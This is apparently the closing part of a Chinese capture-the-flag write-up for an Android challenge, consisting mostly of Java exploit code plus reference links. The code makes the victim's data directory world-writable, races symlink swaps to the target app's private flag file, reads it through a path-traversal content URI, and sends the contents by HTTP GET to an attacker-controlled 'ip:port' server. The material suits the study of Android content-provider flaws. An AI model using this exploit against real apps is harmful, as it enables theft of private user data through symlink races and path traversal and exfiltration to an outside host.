        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    Log.e("in_httpGet","inHttpGet1");
                    URL url = new URL("http://ip:port/flag?flag=" + msg); //这里可以写自己博客的ip和端口，对其进行访问，然后查看日志，我的日志在/var/log/nginx/access.log
                    Thread.sleep(1);
                    Log.e("in_httpGet","inHttpGet2");
                    connection = (HttpURLConnection) url.openConnection();
                    Thread.sleep(1);
                    Log.e("in_httpGet","inHttpGet3");
                    connection.setRequestMethod("GET");
                    Thread.sleep(1);
                    Log.e("in_httpGet","inHttpGet4");
                    connection.getInputStream();
                    Thread.sleep(1);
                    Log.e("httpget succeed","http_get succeed");
                } catch (IOException | InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } catch (IllegalArgumentException e) {
            Log.e("receiver", "IllegalArgumentException", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;
        symlink = root + "/symlink";
        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
        //String path = "content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1";
        new Thread(() -> {
            while (true) {
                try {
                    Thread.sleep(1);
                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(() -> {
            while (true) {
                try {
                    Thread.sleep(1);
                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(() -> {
            while (true) {
                try {
                    Thread.sleep(10);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                String data = readUri(Uri.parse(path));
                if(data.length()>0){
                    Log.e("has_data",data);
                    httpGet(data);
                }

            }
        }).start();
    }
}

本地拿到flag，也可以翻日志看

参考链接：http://gityuan.com/2016/02/27/am-command/

https://blog.csdn.net/Palmer9/article/details/122420707

https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh

https://juejin.cn/post/6844903938790014990

https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg

https://support.google.com/faqs/answer/7496913